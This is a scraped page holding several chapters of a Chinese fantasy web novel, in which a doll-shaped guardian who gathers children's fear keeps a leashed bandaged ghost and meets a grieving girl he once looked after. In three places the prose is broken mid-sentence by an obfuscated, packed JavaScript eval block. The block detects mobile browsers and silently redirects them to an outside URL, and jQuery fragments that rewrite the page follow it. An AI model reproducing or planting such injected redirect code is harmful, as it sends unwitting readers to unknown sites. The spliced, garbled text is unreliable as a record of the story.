画面在晃动,戴着记录仪的战斗部成员似乎在奔跑,没跑多久他便出了声:“又是他!他又盯上了我们这次的目标!” 咔啦,咔啦。 似乎是骨头断裂的声音。 镜头忽然猛地旋转,景色被拖拽成长长的色块,最后画面定格。 两盏路灯被无数的绷带缠绕着,绷带中间倒悬着陶方奕身边这个诡异的男人,像是蜘蛛停留在自己的蛛网上。 他在笑,而他怀里还搂着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710432|173622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个妖,那个妖恐惧至极,双眼极力睁大。 血液顺着妖的眼眶滑落到额头,最后滴落在地上。 “嘘。”绷带男竖起食指。 监控画面忽然开始扭曲卡顿,男人的声音也变得含糊不清,掺杂了电流声。 “你……打断……游戏。”咔啦,咔啦。 “别害怕……睡……晚安。”视频戛然而止。 这个怪物能影响到特管局的记录仪? 自己的两位老朋友都不一定能做到这一点。 这个厉鬼比自己想象的还要强:“我似乎更应该举报你。” “被我吃掉的这个人手上可有不少人命!严格来说我不算坏蛋,我算反英雄!”绷带怪说。 “反英雄?”陶方奕不解。 “又是反派,又是英雄,你不知道吗?”绷带怪还以为这个娃娃会是个很懂潮流的年轻人。 难不成这个娃娃没有接触过年龄限制在十四岁以上的作品? “不,这不成立。”陶方奕摇头,他关闭手机,表情严肃地看向那个绷带怪,“你只是在为自己的杀戮找理由,你是主动杀戮,不是被迫为之,这很危险。” 至于之前这个绷带怪骗陶方奕说自己是地缚灵的事,陶方奕没有太在意。这种调皮的小孩不撒谎才是怪事。 “他们该死,我只是更简单高效地处理了问题。”绷带怪点了点自己脖子上的红圈,“你该把我松开!” “不可能,你状态不正常。”陶方奕晃了晃手里的手机,“要么我报警抓你,要么你暂时被我看管起来,选一样。” “你不能这么对我。”绷带怪反驳。 “需要我提醒你吗?我已经让过步了。”陶方奕说,“进一步耍无赖就不合适了。” 绷带怪:“我不属于这里!” “是遇到我之后你才发现你不属于这里的?在此之前你觉得你非主流的装扮和这个老旧又温馨的家很搭吗?”作为一个有社会责任感的恐怖娃娃,他绝不能放任这么个威胁社会的个体继续在人群里乱窜。 绷带怪周身的黑雾忽然暴涨,可很快它们又尽数被收回了绷带怪的身体。 脖子上的禁锢还在。 这到底是什么东西?十九层监狱有这么恐怖的束缚武器吗? “冷静一点,你是挣脱不了的。”陶方奕重新把自己的身体塞进塑料扎带里,他感受到了任务目标的靠近,“你可以先做我的助手,从没有外人体会过我们看守预备役的工作,相信我,这绝对是一个新奇的体验。” “你是指吓小孩?”绷带怪的嘴角抽了抽。 “别把这件事看得太简单,想要完成这项任务可不容易。”陶方奕安抚他,“不过你也不用太紧张,这趟旅程会很美妙,和孩子待在一起也能收获到无比纯粹的治愈感,我个人很喜欢这个工作。” 忽然,门外有个小女孩喊了声“妈妈”。 而带陶方奕回来的那个女人若无其事地和小孩聊天,她让小孩回房间把书包放下。 小女孩蹦蹦跳跳地推开门,一开始她并没有注意到陶方奕。 在放书包的时候她忽然瞟到了自己床头柜的包装盒。 女孩是看不到绷带怪的,她不知道这个房间里还有个怪物在观察自己。 女孩缓缓张开嘴。 随后一阵水开了一般的尖啸就从她嘴里炸开了。 绷带怪:?!! 女孩跑向包装盒,她拿起包装盒上下晃了晃,随后抱在怀里,叫得更大声,更尖锐了。 包装盒里的陶方奕卡着视觉死角望向绷带怪。 孩子最纯粹的喜欢。 被治愈到了吧。 …… 冰凉的枪口抵住了闻人傅的额头。 “队长?!”同样从战斗模拟室里出来的队员吓了一跳,“您这是干什么?!” “只是一时好奇,在模仿电视剧里面的桥段。”闻人傅把枪拿了下来。 队员松了一口气。 闻人傅笑得温和,他身上有一股子稳重的气息,但一金一红的眼瞳又让他看起来像只狡黠的大猫:“总觉得电视剧里这类姿势只是为了造型更好看。” “是啊。”队员认同。 刺耳的尖叫再次在闻人傅的耳畔响起。 “这样才能解决得比较彻底,不会失误。”闻人傅微笑着把枪管塞进自己嘴里。 “队长!!!!” 4. 双倍危机 小女孩把娃娃从包装盒里解放了出来,她仔细摸了摸娃娃的脑袋,随后把娃娃紧紧搂进了怀里。 女人推门进来,笑着询问她:“喜欢吗?” “喜欢!谢谢妈妈!”小女孩跑上前张开双臂,和女人紧紧拥抱在了一起。 绷带怪:…… 他没有从这个场景里品出一丝一毫的温情,陶方奕还在偷摸观察绷带怪,这时候绷带怪知道自己应该顺着陶方奕的想法,起码装出一副喜欢这个孩子的样子。 但他做不到。 绷带怪极度厌恶幼崽,他讨厌这群以自我感受为中心,没有边界感的半成品。 这群小寄生虫浑身上下都透出一股让人不适的气息,无休无止地索取包容,索取情感,像一个个类人的怪物。 绷带怪环抱双臂,默默靠在了墙边,以沉默表达自己的态度。 但他没法一直待在自己的小角落,因为那个小女孩搂着陶方奕吃饭去了,在陶方奕出门后,绷带怪的脖颈上传来了一阵拉扯感。 绷带怪:“?”不是吧! 他被强行拽离了原来的墙角。 绷带怪受不了了,他跑到那个小孩的儿童座椅旁,蹲下身子和陶方奕平视,他压低了声音:“你把我脖子上的东西解开!”这玩意儿简直像个宠物项圈! 【不可能。】陶方奕没法直接开口,也没法做动作,不过他能直接传音到对方的脑袋里,【我不能放任你乱跑。】 陶方奕对自己这次的任务对象是相当满意的,这个叫任欣馨的小孩非常乖巧,这点从她收到礼物之后谢谢她妈妈就能看出来。 【你现在是我的助手。】陶方奕说。 “我现在就可以在这帮人类面前现身,然后把他们吓得屁滚尿流!”绷带怪实在受不了了。 【不行!我们只是收集恐惧值,不是让他们未来的人生都活在阴影当中!】陶方奕严肃警告,【如果你现出原形,我就找战斗部的同事过来!】 绷带怪啧了一声:“我只想确定一件事,我们是来恐吓小孩的,不是来做保姆的对不对?!” 陶方奕忽然沉默了。 这种沉默给绷带怪带来了绝望。 陶方奕:【至少我们不需要做饭和打扫房屋。】 “啊!!!!!”绷带怪捂住自己的脑袋,发出了凄惨的嚎叫。 “嗯?!”正在吃饭的一家三口似有所感,他们的鸡皮疙瘩都起来了,三人同时抬起头,互相对视,随后都露出迷茫的神情。 而陶方奕感觉自己的手腕震动了一下,他收到了0.01点的恐惧值。 【你别太激动了!你的怨力太强悍,有可能被察觉到!】陶方奕很紧张,【你可以先观察这可爱的一家子。】 绷带怪看向正在吃饭的一家三口。 四岁的小孩嘴巴有一圈酱汁,拿筷子的动作还算熟练,但她显然处理不了汤汁到处飞溅的问题。 至于两个大人。 他们吃饭吧唧嘴的声音真的很大,喝汤的时候稀里呼噜的。 “是啊,可爱。”绷带怪的语气平静了下来,“你觉不觉得他们吧唧嘴的声音像打快板。”而这个“快板声”似乎在嘲讽他的未来。 陶方奕再次沉默。 绷带怪没法在一个抽象的娃娃脸上看到什么微表情,在他眼中对方就只是陷入了呆滞。 【这不对劲。】陶方奕忽然开口。 “谢天谢地你终于发现自己给他们贴的标签有问题了。”绷带怪语气中夹带着一丝丝嘲讽。 【在经历短暂的恐惧感之后他们为什么没有进行对话?为什么只是低头吃饭?】陶方奕觉得这是个很严肃的问题。 绷带怪啪地一下捂住了自己的脸。 【按常理来说,他们应该在对视之后询问对方“发生了什么”,或者“你也有感觉吗”,但是他们只是低下头沉默地进食。】 “他们不沉默,他们进食挺响的。”绷带怪纠正陶方奕。 【他们家庭一定遇到问题了。】希望不是什么会影响这个孩子人生的大事。 绷带怪不出声了,他找了个角度独自蹲好,开始思考自己怎么才能处理掉脖子上的项圈。 忽然,陶方奕开口对他说:【他们对彼此没有敌意,所以他们的感情应该是没有问题的,所以这对他们家庭来说不是什么要命的大毛病。】 绷带怪:…… “你真是个温柔的恐怖娃娃啊。”绷带怪一个字一个字地往外蹦,他加重了恐怖两个字,生怕陶方奕听不出他在嘲讽。 陶方奕当然听出来了,但有些事一旦接茬就会带来无穷无尽的争吵,所以他假装自己不明白,并且由衷地夸赞:【你其实也是个很温柔的厉鬼。】 绷带怪更难受了,这种一拳打在棉花上的感觉让他憋闷无比。 【对了,你有名字吗?】陶方奕觉得自己不能用“你”来称呼对方,这样不尊重。 “亡灵要什么姓名?” 【生前的名字也不记得了?】 “我只知道我是个亡灵。” 【那我以后就叫你亡灵吗?】这样太怪了。 “随你。” 【那我叫你小亡?这样显得亲切。】而且读音也比较接地气。 绷带怪:…… 【但是你有没有觉得亡灵的亡不吉利?三横一竖的王比较威风,霸气,有王者风范。】陶方奕还是觉得“小王”更可爱,【全名可以叫王强,王者总是很强大的。】 绷带怪:“你别逼我跟你同归于尽。” 【那你的全名?】陶方奕迅速放弃了接地气的策略。 “有个‘亡’字不就可以了?弄那么多字干什么?难记也难写。” 就叫“亡”? 【听起来很酷。】陶方奕夸赞,【很有风格。】 这次给自己改名为亡的绷带怪没有再阴阳怪气地抗议,显然对陶方奕的夸赞还算满意。 陶方奕悄悄松了一口气,跟年纪比较大的孩子沟通总是会更费劲一些。 陶方奕看了一眼亡的银发,他忽然想起了自己旧友的孩子,那个被印在标牌上的乖乖仔:【我也有个银发的后辈。】 亡哦了一声。 【那是个笑起来很温柔的男孩。】陶方奕继续说。 那个孩子好像也有一百多岁了,陶方奕没见过那个孩子,他绝大多数时间都在忙自己的事。 陶方奕准备转正之后正式去拜访自己的老朋友。 “温柔?”亡摸了摸自己的胳膊,“啧。”他什么都没说,可嫌弃的情绪已经满溢出来了。 陶方奕:…… 看来这个话题是没法继续了。 陶方奕只能暂时放下亡的问题,去观察自己任务对象的父母。 可这两人不可能当着孩子的面商量他们遇到的问题。 会是什么大事吗? 陶方奕不确定,而他的任务对象此时正沉浸在获得新玩具的喜悦中。 吃完饭之后四岁的任欣馨就把陶方奕放上了自己的床头柜,她认认真真地取出画纸,在纸上认真画了几个圈,那几个圈就算盘子,而盘子里画的食物也只有她自己知道是什么。 “饿坏了吧。”任欣馨摸了摸小玩具的脑袋。 “她摸你的时候没有洗手!她的手上指甲缝黑黢黢的!”亡接受不了那么脏的手摸到一个崭新的娃娃身上。 好在任欣馨很快就被她妈妈带去洗澡了。 “谢谢你关心我。”陶方奕摸了摸自己的头,他现在可以说话了。 “我没有在关心你!!”亡咬牙提醒,“我只是自己接受不了这类不卫生的行为。” “但依旧谢谢你。”陶方奕往旁边挪了挪,“要一起吃顿饭吗?” 亡:??? “哪儿有饭?”亡不解。 陶方奕用圆手指向自己面前抽象的儿童画。 亡:“你是在逗我吗?” 陶方奕用圆手碰了一下那个胖瘦不一的筷子,随后纸面荡起一圈圈蓝色的波纹,随后抽象的筷子缓缓脱离纸面,而脱离的那部分变成了细长的竹筷。 陶方奕夹了一个红黑线条组合在一起的圆圈,随后伸向亡:“来尝尝?” 亡盯着筷子看了一会儿:“需要我提醒你吗?这个筷子上什么都没夹。” “有的,你尝尝。”陶方奕又朝亡的方向递了递。 亡没法皱眉头,但他的嘴角往下撇,显然他在怀疑陶方奕是在逗他。 可陶方奕的手还举着。 亡缓缓蹲下身,他张开嘴,这次他嘴里三角形的尖牙没有像装了履带一样乱动。 他凑近了陶方奕圆手上的筷子,随后轻轻咬下去。 咔啦,是脆皮裂开的声音。 随后奶香味在亡的口中迸发开来:“这……” “这是什么?”陶方奕问他。 “炸奶酪。”亡明明感觉到了奶酪拉丝的一点点牵引力,可他还是什么都没看到。 亡没有眼睛,他视力不受结构的束缚,可以自行控制,此时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710433|173622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陶方奕的筷子还是空空如也,什么都没有。 “噢!果然是小孩子喜欢吃的东西。”陶方奕自己夹了一筷子,随后抵在自己嘴巴的部位。 他连咀嚼的动作都没有。 “不是什么好奶酪。”亡又评价。 “我们只能尝到这个孩子品尝过的味道。”陶方奕不太喜欢甜食,不过他很乐意品尝孩子的心意,“孩子的想象力是很珍贵的东西。” “所以谁在画炸奶酪的时候会用大红色的笔和黑色的笔?”亡觉得那只是一团缠绕的电线。 “不要对小孩子那么苛刻。”陶方奕把每道菜都尝了一遍,全部都是甜食。 他象征性地吃了两口就不继续了,随后他听到了卫生间门打开的声音。陶方奕把筷子重新放回纸里,细长的筷子重新变成了一细一粗的两团色块。 小孩重新冲进了房间,紧紧搂住了陶方奕。 “好得很。”亡撇嘴,“她头发还在滴水,现在你又脏又湿了。” 女孩的妈妈跑进来把女孩拎出去吹头发了。 “我总觉得这个孩子有点眼熟。”陶方奕看向门口。 “那个小孩才四岁。” “我是指她的妈妈。”陶方奕解释,“她叫杨红玲,这个名字也很耳熟。” 亡耸肩,反正他没听过这个名字。 吹完头发的女孩重新跑进来,她搂住了陶方奕,她想继续玩游戏。 “欣馨。”杨红玲忽然开口,她蹲下身,眉毛微微上挑,她想要尽可能温柔些,而陶方奕始终无法忽视她脸上那些皱纹。 搂着玩偶的任欣馨睁大了眼睛。 她还保留着一些前世的外貌特征,比如那双大眼睛,浓密的睫毛。 水牛本来就是很漂亮的生物。 “你还记得瑶瑶姐姐吗?”杨红玲轻声问。 陶方奕愣了一下,随后他总算想起了这种熟悉感从何而来。 是了!他的确认识杨红玲! 这是他前任任务对象的母亲。 “是李瑶姐姐吗?”任欣馨询问。 果然。 陶方奕的注意力往往更多地放在小孩身上,他不需要从成年人身上获得什么,所以成年人在他的任务里只是一个背景板。 更何况人类苍老的时间太过迅速,陶方奕很多时候都不太能跟得上人类的变化。 李瑶那孩子是妖狐转世,陶方奕也是在李瑶四岁时出现在她身边的。 那是个性格有点腼腆,很温柔的女孩。 她的家庭和睦……起码在陶方奕执行任务时是这样的。 陶方奕见过杨红玲更年轻的样子,那时候她笑得更开朗,脸上也没有多少岁月侵蚀的痕迹,那时候杨红玲也是守在一个四岁的孩子身边。 不同的是那个孩子不是如今的这个,而她身旁的丈夫也不是如今的这个。 “瑶瑶姐姐要过来陪我吗?”任欣馨很激动,她攥紧了陶方奕的圆手,很显然她对那位姐姐的印象很不错。 “嗯,以后瑶瑶姐姐可能会和我们住在一起。”杨红玲松了一口气。 “那姐姐什么时候过来?!”任欣馨的眼睛睁得溜圆,巴不得下一秒就能看到那位同母异父的大姐姐。 “很快。”杨红玲伸手抚摸任欣馨的脑袋,“很快就会过来。” 这到底是什么情况?感情破裂,离婚了?李瑶被判给了她的爸爸? 可看杨红玲的意思,李瑶那孩子未来都会在他们这儿生活。 【天呐,我感觉要出大事了。】这是陶方奕第一次遭遇这样的危机。 “是啊,要出大事了。”亡靠在窗口向下看,鬼气越来越浓烈了,浓烈到熏人。 他就是跟着这只猎物跑过来的。 不过这只暴躁的厉鬼迟迟没有攻击的意图,它隐匿了起来。 可亡被束缚了没多久,那个厉鬼的怨气就藏不住了。 这个厉鬼是在躲自己吗? 亡身上的绷带稍微松开了些,它们围着亡的脑袋漂浮,而亡也正面接触到了对方的怨念——【陶方奕……】 嗯?! 亡不是很确定,他回头看了一眼背着人愁眉苦脸的布娃娃:“你之前说你叫什么来着?” 【我叫陶方奕。】陶方奕抽空回答了亡的问题,随后继续纠结孩子的事。 亡再次尝试感知那个厉鬼的怨念。 ——【陶方奕,你这个叛徒!!】 亡双手环胸,动作放松了许多:“哈,这下有意思了。” 5. 重逢 “我听说你们看守者很特殊?”亡趴在小孩床边,他把下巴搁在床单上,紧挨着被小孩抱到变形的玩偶。 “我们不特殊,我们只是看起来很吓人。”陶方奕扭曲的脸现在没法做任何表情。 “得了吧,你们是特管局里最神秘的一批,就比如你。”亡的脑袋轻微地上下晃动,这个动作代表着他在打量陶方奕,“就比如你,你在成为这个布娃娃之前是个什么?” “是个木偶娃娃。”陶方奕说。 “没问你们部门的形象发展史。”亡摆了摆手,“我是说你,你有什么样的过去?” “很长很长的过去。”陶方奕回答得很认真,奈何他的答案在亡耳中就是一种敷衍。 “那你的仇人呢?你有没有杀过什么人?”亡压低声音,他嗓子里那种让人不适的颗粒感又出现了,“又或者,你有没有背叛过谁?” 陶方奕沉默。 亡笑了,他笑声低沉,一声一声仿佛敲在人的心里。 “孩子。”陶方奕忽然无比认真地开口。 亡的嘴角往两侧扯得更开,他知道自己戳中了陶方奕的内心。 “不是每个活得久的人都有跌宕起伏的经历的。”陶方奕无奈叹气,“我身上没有那么多值得深挖的苦痛,我和普通的非人类没有两样。” “没有?”亡现在还能听到那个厉鬼的怨念,“有没有可能你是个潜伏在特管局的厉鬼,如今这类恐吓小孩的工作只是你的伪装?” 他的手指戳在了陶方奕的脸上:“你其实是个大反派。” 陶方奕:…… 陶方奕:“嘿嘿哈哈哈。”他没憋住,笑出了声。 “你在隐藏自己?”亡觉得这是陶方奕在伪装。 陶方奕还在笑。 他的声音逐渐从清亮转为低沉,他大概也意识到了自己声线的变化,咳嗽了两声,试图调整回去,结果还是没憋住,噗嗤一声,用本音笑了出来。 “你之前一直夹着嗓子吗?”亡觉得陶方奕之前的声音像是个涉世未深的青年,而如今他的声音低到亡感觉自己的耳鼓膜在跟着震动。 搂着陶方奕的小孩忽然嘟囔了一声,陶方奕赶忙噤声。 小孩搂着娃娃翻了个身,面向窗户。 亡绕到窗户那边:“你是个习惯了伪装的恐怖娃娃对不对?” 陶方奕没有回应,他听着小孩的心跳,确定小孩已经睡着了,这才用更小的声音回应:“我的本音不太适合我的这个外形。” “一个漂亮的二次元娃娃不适合大叔的粗声线。”陶方奕解释。 “你这个是二次元吗?”亡觉得不太像。 “我不知道,我还没搞懂二次元的定义。”陶方奕只知道这是现在小孩群体里的新流行,他很想融入其中,但这一切对他来说太复杂了,而他的接受新事物的速度总是比旁人要更慢。 “听着,亡,我的人生真的非常非常无聊,没有你想象里那种轰轰烈烈的正邪大战,也没有背叛过谁。”陶方奕有点担心亡的过度想象会给自己折腾出一些新麻烦,“我只是过来收集恐惧的,而这是我的工作。” 亡讨厌工作两个字:“你们收集恐惧的方式不是恐吓吗?现在你给我的感觉像是在哄小孩。” “因为每个孩子对恐惧的接受度是不一样的,为了不给小孩留下心理阴影,我需要先观察这个孩子的性格,再制定合适的计划。”有些小孩胆子太小,一吓就容易吓出毛病,而有些孩子会把会动的恐怖娃娃当成小精灵一类的生物,根本吓不着。 “无聊。”亡讨厌这类工作,尤其讨厌和孩子待在一起。 他等了一会儿,忽然又问:“有没有可能你背叛了谁而不自知?” “不自知的背叛算背叛吗?”陶方奕觉得亡的说法很滑稽。 “怎么不算?” “你是指我在没有违背任何法律条文的情况下背叛了谁?”陶方奕觉得这根本不成立,“就算真发生了这样的事,也只是对方脑子里的自以为是的背叛吧。” “法律上没有,道德上呢?”亡继续追问。 “这个我就不确定了,这个范围太大了。”陶方奕没有把话说死,“不过我个人并没有为自己的‘背叛’而感到困扰,所以对我来说我没有。” 外头那股怨念恨不得把陶方奕给生吞了,而且亡能察觉到,对方的力量相当强悍,这类存在不可能在陶方奕心里留不下一丝一毫的印象。 所以陶方奕一定在说谎。 那个厉鬼没有贸然行动,而亡也没法在陶方奕这儿问到任何有用的信息。 他只能等待变化的发生。 等等。 怎么感觉自己和研究小孩性格的陶方奕没有区别了? 亡的喉咙里发出了一声低吼。 陶方奕小声询问:“你有哪里不太舒服吗?” “我发现了你的秘密。”亡只说了这么一句,随后便陷入了沉默。 他在给陶方奕施加心理压力。 陶方奕认真消化了一会儿,随后夸赞:“你真聪明。” 亡没有回答。 这个娃娃真的理解了自己的威胁吗?怎么感觉对方在配合自己玩过家家? 陶方奕也没有再说话。 亡在和这个浑身都是秘密的恐怖娃娃进行心理博弈,而陶方奕急切地想要知道自己的前任务对象身上都发生了什么。 不过那位前任务对象显然不会在第二天就出现,陶方奕的首要工作依然是研究这个叫任欣馨的孩子。 作为四岁的小孩,她乖巧得让人意外。 会自己收拾自己的玩具,会在碗筷不小心摔碎时贴心地送上扫帚,并且第一时间关心自己的家人。 她的作息也很稳定,早睡早起,还会自己叠被子。 这孩子正处于秩序敏感期,不希望大人帮她做太多事。 而她似乎把自己上幼儿园的行为当成了大人的上班工作,而陶方奕这个娃娃就成了她需要照顾的那位小朋友。 她要认真上幼儿园,不然陶方奕就没有饭吃。 而每次走之前,她总会提前醒过来,然后在画纸上画出陶方奕今天的饭菜,随后还要拍拍娃娃的头,再背起自己的双肩带卡通亮片“公文包”,准备开始一天的工作。 亡实在无聊,毕竟那个厉鬼没有行动,而陶方奕也没有露出什么破绽。 最近亡唯一的娱乐活动就是猜这个小孩画的那一堆五颜六色的玩意到底是什么食物。 “这是个很好吓的孩子。”陶方奕得出了结论,他之前用其他的玩具浅浅地试了一下。 任欣馨也发现了自己的玩具在自己挪开视线之后会转变站位,她很敏锐地察觉到了变化,花费的时间比陶方奕预想得要少。 随后任欣馨的恐惧值猛增,险些突破临界点。 这个孩子是真害怕。 再然后那个玩具就被任欣馨给砸碎了。 这孩子力气也大,抬起小书桌砸的。 “她今生还保留了一点前世的特点,作为草食动物,容易受到惊吓,吓到之后有一定概率进入战斗状态。”稍微有点麻烦。 “那你不是吓不了了?”亡询问。 陶方奕的筷子刚好伸到他嘴边,亡咬了一口:“呕!菠菜!这孩子怎么这么喜欢蔬菜?” “只是有点麻烦,不能用传统的方式恐吓,我得收敛一些。”陶方奕自己也尝了一口,“我觉得蔬菜比甜食更棒。” “我保留意见。”亡厌恶蔬菜。 “不过通过这些天的观察我发现你其实也是个很好的鬼啊。”陶方奕忽然话题一转,“虽然好像讨厌一切,但是没做出什么破坏性举动,有时候意外的老实。” 亡:“……你夸得我想死。”他的计划不是这样的。 “如果你觉得我是个好人,你能不能把我脖子上的狗项圈给我松开?”亡指了指自己脖颈上那道红环。 “不行,厉鬼还是有一定风险性的,我也不确定你是不是在装乖。”陶方奕摇头,“不过我可以帮你调查你的身世,找到杀死你的那个人。” 亡的外形那么恐怖,一定遭遇了许多残忍的攻击。 亡很绝望。 这几天他的本体根本没调查到这个红环是什么东西,当然,他们部门也没有权利去查探第十九层监狱的特殊工具。 他旁敲侧击地问过了,可却没得到自己想要的答案。 没有哪个工具会在脖颈上形成一个圆环形状的纹身。 亡想去论坛里找找有没有第十九层监狱的同事,随后他得知那群人就连打字都会带上一点恐怖buff,第十九层监狱的人完全不上论坛。 所以这个部门很神秘的原因是因为被孤立了吗? 难怪陶方奕不乐意看论坛。 咔啦一声,大门打开了。 陶方奕听到动静看向房门的方向。 杨红玲的声音传来:“这里以后就是你家了,你任叔叔还在工作,没办法过来接你。” 没有人回答她,两道脚步声走向了隔壁。 杨红玲继续:“这个是你的房间,喜欢吗?你任叔叔说要给你涂个粉色的墙,我说你不一定会喜欢,就暂时放着了,你看你喜欢什么样式,我们还能改造。” 陶方奕跑到了房门口,他的脑袋紧紧贴着门。 他听到了一道瓮声瓮气的回应:“……这样就好了,谢谢。” 杨红玲沉默片刻,随后用笑声掩饰尴尬:“我是你妈,你跟我说什么谢?” 那个女孩没有回答。 杨红玲继续领着她介绍房间里的构造,随后又领着小孩去熟悉了家里的设施。 陶方奕偷偷扒拉开了一个门缝往外看。 一桶炸鸡摆在餐桌上,杨红玲带着小孩熟悉了一圈之后又牵着她回到餐桌。 杨红玲一直在聊天,她让女孩儿先调整情绪,好好休息,又问女孩待会儿要不要去买几件衣服,她的鞋看起来有些不合脚了。 而女孩自始至终都是沉默的,她的回应始终都是“不用”,而在杨红玲的坚持之下,她的“不用”又会转变为轻声的“嗯”。 陶方奕看着对方那张消瘦低沉的脸,有些恍惚。 “还好,这小孩性格挺好的,应该不会起什么激烈的冲突。”亡看得出来这小孩并不痛恨自己的母亲,看起来不打算对抗这个家庭。 【她以前不是这样的。】陶方奕说。 “初中生就是会比较忧郁一点的。”亡能够理解,“每个孩子都有叛逆期。” 杨红玲和女孩聊到了上学的事,女孩似乎是因为要上初中才来这边的。 而随着双方聊天的深入,或者说杨红玲看女孩的反应多了一些,便试探性地提起了某个禁忌的话题——李瑶父亲的死亡。 这时候陶方奕才知道,李瑶的父亲在她七岁那年出了车祸,当场死亡。 李瑶的奶奶在老家照顾自己的孙女, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710434|173622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而杨红玲离开家找工作去了。 再然后就是遇到如今的丈夫,两个人看对了眼,在一起过日子。 李瑶的奶奶也是支持的,她和杨红玲的关系本来就不错,在得知对方能够走出这段感情之后,她也是心酸夹杂着欣慰。 大概是欣慰终于还有个人能走出这种能将人绞死的窒息。 在聊到这些的时候,李瑶没有太多反应。 杨红玲沉默下来,她抿唇做了会儿准备,最终问出那个问题:“你恨妈妈吗?” 李瑶摇头。 在杨红玲和李瑶都陷入沉默的时候,亡忽然开口:“起码这个悲剧故事里没有让人咬牙切齿的坏人,不是吗?” 杨红玲站起身:“妈妈中午没有太多时间,现在要回厂里了,你一个人好好待在家,可以吗?” 李瑶点头。 而没能得到任何语言回应的杨红玲依旧笑着留下一句“好好吃,回来妈妈给你做饭”。 在她离开后,李瑶沉默地,小口小口吃着炸鸡。 她这么大的孩子应该是喜欢这些高热量食品的,可她看起来却心不在焉。 亡本来蹲在一边撑着脑袋观察。 可观察着,观察着,他意识到了不太对劲。 这小孩怎么像在瞟自己? “喂,你能看见我?”亡起身,他走向了李瑶。 李瑶没有反应,但身体开始发抖了。 “你果然能看见!”亡冷笑一声,还不等他继续,就感觉脖颈一紧,自己脖子上那条红色的“狗绳”又被拽了。 亡瞪了一眼门缝的位置,随后猛地往反方向用力,把躲在门后的娃娃给拽了出来。 李瑶倒吸一口气。 陶方奕:…… 完蛋了!他的任务! 要扣分了! 现在问题的关键是稳住李瑶。 陶方奕抬头看了看一脸坏笑的亡,随后迅速做出决断。 他猛地撑地起身,掏出自己的公文包,扯了扯自己的背带裤。 随后他跳上桌,朝着假装自己什么都没看到的李瑶伸出圆手:“我们见过,我本名叫陶方奕,但是你以前管我叫虎虎。” 李瑶没有回应。 亡乐出了声:“虎虎?!哈哈哈哈!” 陶方奕把公文包放桌上,他打开公文包,在公文包里翻了好一会儿,总算翻出了一张合照。 照片里是一家三口,笑得尴尬的男人,一脸灿烂的杨红玲,还有把牙花都笑出来了的李瑶。 那是小时候的李瑶。 “你怀里抱的这个手上带魔术贴的猴子玩具就是我。”陶方奕解释。 “可你那时候是个猴子,怎么能叫虎虎?”亡不解。 “哦,因为小宝小时候喜欢看纪录片,她身边所有的东西都是虎字辈的,猴子也不例外。”陶方奕又从公文包里掏出了一个小玩意。 那是个橡皮泥捏的葡萄,已经干裂了:“这是你送给我的食物。” “那时候你太小了,只有四岁,现在可能已经忘了当时的记忆。”陶方奕说,“你咬一口就能回忆起来了。” 亡:“她根本不会搭理你。” 李瑶:“我要把橡皮泥吃进肚子里吗?” 亡:“啊?!你为什么跟他就能搭话?” 李瑶还是怕得发抖,她眼眶发红,肩膀瑟缩着,只有眼睛死死盯着陶方奕拿出来的那一张照片。 “不用,就像小孩子过家家一样,假装咬一口就好了。”陶方奕解释。 李瑶明显有所怀疑,不过她没有迟疑太久,很快就模仿着进食的样子,在那个橡皮泥葡萄旁边轻轻咬了一口。 她确实感觉自己吃到了葡萄。 紧随其后的是她那段时间的记忆。 李瑶的泪水瞬间决堤。 她看到了自己,曾经的自己,也是她再也触及不到的那个自己。 陶方奕还想解释一下自己当初恐吓小孩是为了什么,可李瑶却瞬间抱紧了他。 “噢!”陶方奕的棉花身体被挤扁,他感觉大颗大颗的眼泪都落在了他身上。 李瑶已经不害怕他了? “所有人都走出去了。”李瑶哽咽着说,“所有人都走出去了!!” 妈妈走出去了,因为她太累,她太辛苦,她要承担面对的太多太多了。 她走出去是好事…… ……是的,是好事,任叔叔是个很好的人,妈妈和任叔叔有了新的家庭,他们生的孩子也很可爱。 老家里,渐渐地没有人再提起那个亡人,爸爸的那些朋友渐渐地也不再出现。 爷爷在李瑶还没出生时就过世了。 奶奶不久之前也走了。 李瑶知道这是没有办法的事,她知道人就是会被遗忘的,她知道所有人都有权利追求那些新的生活。 课本里那些生离死别她看了一遍又一遍,曾经她深有感触的那些诗句如今却觉得描绘不出她的半分感情。 大概是那些诗句的感情太浓烈,而她麻木得像棵扎根土地,无法迁移的树。 “为什么他们都在往前走啊!”李瑶搂着童年的玩偶,“他们都很好,所有人都没有错,但是……但是……” 她没有再说下去。 因为她不知道该怎么继续,大家都很好,那还要什么“但是”呢? 是的,不需要“但是”。 李瑶把脑袋埋进娃娃里,放声痛哭。 6. 